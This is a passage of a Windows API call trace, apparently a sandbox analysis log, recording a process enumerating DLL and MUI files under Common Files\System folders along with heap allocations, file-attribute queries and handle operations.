ftLastWriteTime.dwLowDateTime=0xa9af1ce, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0087.663] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.664] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.664] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dae0) returned 1 [0087.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbde8 [0087.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305620 [0087.665] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.665] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0087.665] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.666] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.666] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbe08 [0087.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305938 [0087.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.667] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa219f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xacd0afb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xaa219f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0087.667] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.667] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.668] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbe28 [0087.668] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305a40 [0087.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.669] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2d3490, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa2d3490, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0087.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.669] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbe48 [0087.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305b48 [0087.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.670] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc35461a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc35461a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0087.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbe68 [0087.671] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305d58 [0087.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.672] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa286f1e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa286f1e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0087.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dbf0 [0087.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbe88 [0087.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305f68 [0087.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124dbf0) returned 1 [0087.673] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa286f1e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa286f1e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0087.674] GetLastError () returned 0x12 [0087.674] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0087.674] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.674] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.674] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9af1ce, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xacd0afb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa9af1ce, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0087.674] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0087.674] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa219f9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xacd0afb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xaa219f9, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0087.674] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2d3490, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa2d3490, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0087.674] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc35461a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc35461a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0087.674] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa286f1e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa286f1e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0087.674] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa286f1e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa286f1e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0087.674] GetLastError () returned 0x12 [0087.674] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124db68) returned 1 [0087.674] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0087.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c9a97c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0x22c9a97c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0x22c9a97c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8dd6e4, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0x6f8dd6e4, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x22f4823c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930aeeb4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x930aeeb4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x930d5014, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x89000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b5cb2a, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb0b5cb2a, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5f8ffe50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b9ffeb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92b9ffeb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92b9ffeb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c41364, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb0c41364, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5f926f50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b79e8a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92b79e8a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92b9ffeb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x34000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0e0a3d8, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb0e0a3d8, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5fa0a020, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad9d263, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad9d263, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad9d263, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8098396, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb8098396, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9b60d700, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0fd344c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb0fd344c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5fb141f0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1091b27, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb1091b27, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x60936490, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ffc4e3, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb9ffc4e3, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9bc4c8f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x46000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d87fee9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d87fee9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d87fee9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10b7c86, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb10b7c86, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x60b01450, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8558a3c0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8558a3c0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x855fc7e1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0087.676] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8558a3c0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8558a3c0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x855fc7e1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0087.676] GetLastError () returned 0x12 [0087.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.676] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.677] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f34af90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="")) returned 1 [0087.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.677] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB" (normalized: "c:\\program files (x86)\\common files\\system\\ole db"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f34af90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.678] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB" (normalized: "c:\\program files (x86)\\common files\\system\\ole db"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.678] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a920 [0087.678] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a920, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x132a920, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.678] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a920) returned 1 [0087.678] NtClose (Handle=0x124) returned 0x0 [0087.679] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.679] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common 